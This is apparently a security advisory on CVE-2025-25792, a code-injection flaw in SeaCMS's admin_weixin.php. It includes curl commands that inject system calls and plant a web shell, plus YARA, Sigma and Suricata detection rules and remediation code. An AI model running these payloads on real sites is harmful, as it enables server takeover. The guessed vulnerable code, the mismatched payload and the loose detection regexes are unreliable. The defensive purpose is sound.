CVE-2025-25792

Executive Summary

CVE-2025-25792 is a critical Remote Code Execution (RCE) vulnerability discovered in SeaCMS v13.3. The flaw resides in the admin_weixin.php file, specifically within the handling of the isopen parameter. An authenticated attacker with administrative privileges can inject arbitrary PHP code through this parameter, leading to full server compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the public availability of proof-of-concept (PoC) code, the risk of exploitation is elevated.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (authenticated RCE), a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Administrative access is required.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise allows access to all data.
• Integrity (I): High (H) – Full system compromise allows modification of all data.
• Availability (A): High (H) – Full system compromise can lead to denial of service.

Estimated CVSS Score: 7.2 (High)

Threat Level: High. The vulnerability is easy to exploit once authenticated, and the impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability is located in the admin_weixin.php file of SeaCMS v13.3. This file is part of the administrative backend and is used to manage WeChat integration settings. The isopen parameter is used to enable or disable the WeChat payment feature. The code likely uses a function like file_put_contents() or eval() to write or execute the value of isopen into a configuration file or directly as PHP code.

The core issue is that the application does not properly sanitize or validate the isopen parameter before using it in a potentially dangerous operation. An attacker can inject arbitrary PHP code, such as a web shell, by providing a malicious value for isopen. For example, an attacker could set isopen to 1; system($_GET['cmd']); to execute system commands.

The attack flow is:

1. Attacker authenticates to the SeaCMS admin panel.
2. Attacker navigates to admin_weixin.php.
3. Attacker sends a POST request with a crafted isopen parameter containing PHP code.
4. The server writes or executes the injected code, leading to RCE.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code. The vulnerable code in admin_weixin.php likely resembles:

// Vulnerable code
$isopen = $_POST['isopen'];
$config = "<?php\n\$weixin_isopen = '$isopen';\n?>";
file_put_contents('data/weixin_config.php', $config);

This code directly injects user input into a PHP configuration file without sanitization. A patched version would need to:

1. Validate that isopen is a boolean or integer value.
2. Use proper escaping or whitelisting.
3. Avoid writing user input directly to executable files.

A patched version might look like:

// Patched code
$isopen = isset($_POST['isopen']) && $_POST['isopen'] == '1' ? '1' : '0';
$config = "<?php\n\$weixin_isopen = '$isopen';\n?>";
file_put_contents('data/weixin_config.php', $config);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to SeaCMS v13.3 admin panel (valid credentials).
• Network access to the target server.

Exploitation Steps:

1. Authenticate to the SeaCMS admin panel.
2. Navigate to admin_weixin.php.
3. Craft a malicious POST request using a tool like curl or Burp Suite.

Example using curl:

curl -X POST http://target.com/admin/admin_weixin.php \
  -d "isopen=1; system('id');" \
  -b "PHPSESSID=your_session_cookie"

This will execute the id command on the server. For a more persistent shell, inject a web shell:

curl -X POST http://target.com/admin/admin_weixin.php \
  -d "isopen=1; file_put_contents('shell.php', '<?php system(\$_GET[\"cmd\"]); ?>');" \
  -b "PHPSESSID=your_session_cookie"

Then access the shell:

curl http://target.com/shell.php?cmd=id

Blue Team

Detection & Response:

1. Monitor HTTP POST requests to admin_weixin.php for unusual isopen parameters.
2. Check for unexpected files in the web root, especially PHP files with suspicious names.
3. Review server logs for unusual command execution or file creation events.
4. Implement Web Application Firewall (WAF) rules to block malicious input patterns.

Hunting Queries:

• Search for isopen in web server access logs.
• Look for POST requests to admin_weixin.php with non-standard parameters.
• Monitor for new PHP files created in the web directory.

Indicators of Compromise (IOCs)

• File: data/weixin_config.php containing injected PHP code.
• File: shell.php or other suspicious PHP files in the web root.
• Network: POST requests to /admin/admin_weixin.php with isopen parameter containing PHP code.
• Process: Unusual system commands executed via web server user (e.g., www-data).
• Log: Web server access logs showing requests to admin_weixin.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2025_25792_SeaCMS_RCE {
    meta:
        description = "Detects SeaCMS RCE via isopen parameter in admin_weixin.php"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25792"
    strings:
        $php_code = /isopen=.*?system|exec|shell_exec|passthru|eval|assert|file_put_contents|fwrite|popen|proc_open/
        $admin_file = "admin_weixin.php"
    condition:
        $admin_file and $php_code
}

Sigma Rule

title: SeaCMS RCE via isopen Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-25792 in SeaCMS v13.3
author: Valters IT
date: 2025/03/01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/admin_weixin.php
        cs-uri-query|contains: isopen=
    condition: selection
falsepositives:
    - Legitimate admin configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25792 SeaCMS RCE via isopen Parameter";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/admin_weixin.php";
    http_uri;
    content:"isopen=";
    http_client_body;
    pcre:"/isopen=.*?(?:system|exec|shell_exec|passthru|eval|assert|file_put_contents|fwrite|popen|proc_open)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove admin_weixin.php if the WeChat payment feature is not in use.
2. Restrict access to the admin panel using IP whitelisting or VPN.
3. Implement a Web Application Firewall (WAF) to block malicious input patterns.
4. Monitor logs for signs of exploitation.

Long-term Fixes:

1. Apply vendor patch when available.
2. Upgrade to a patched version of SeaCMS.
3. Code review and sanitize all user inputs in admin files.
4. Implement input validation and output encoding for all parameters.

Workaround:

If the admin panel must remain accessible, modify the admin_weixin.php file to add input validation:

// Add at the beginning of admin_weixin.php
if (isset($_POST['isopen'])) {
    $_POST['isopen'] = ($_POST['isopen'] === '1') ? '1' : '0';
}

Valters IT
Securing Digital Frontiers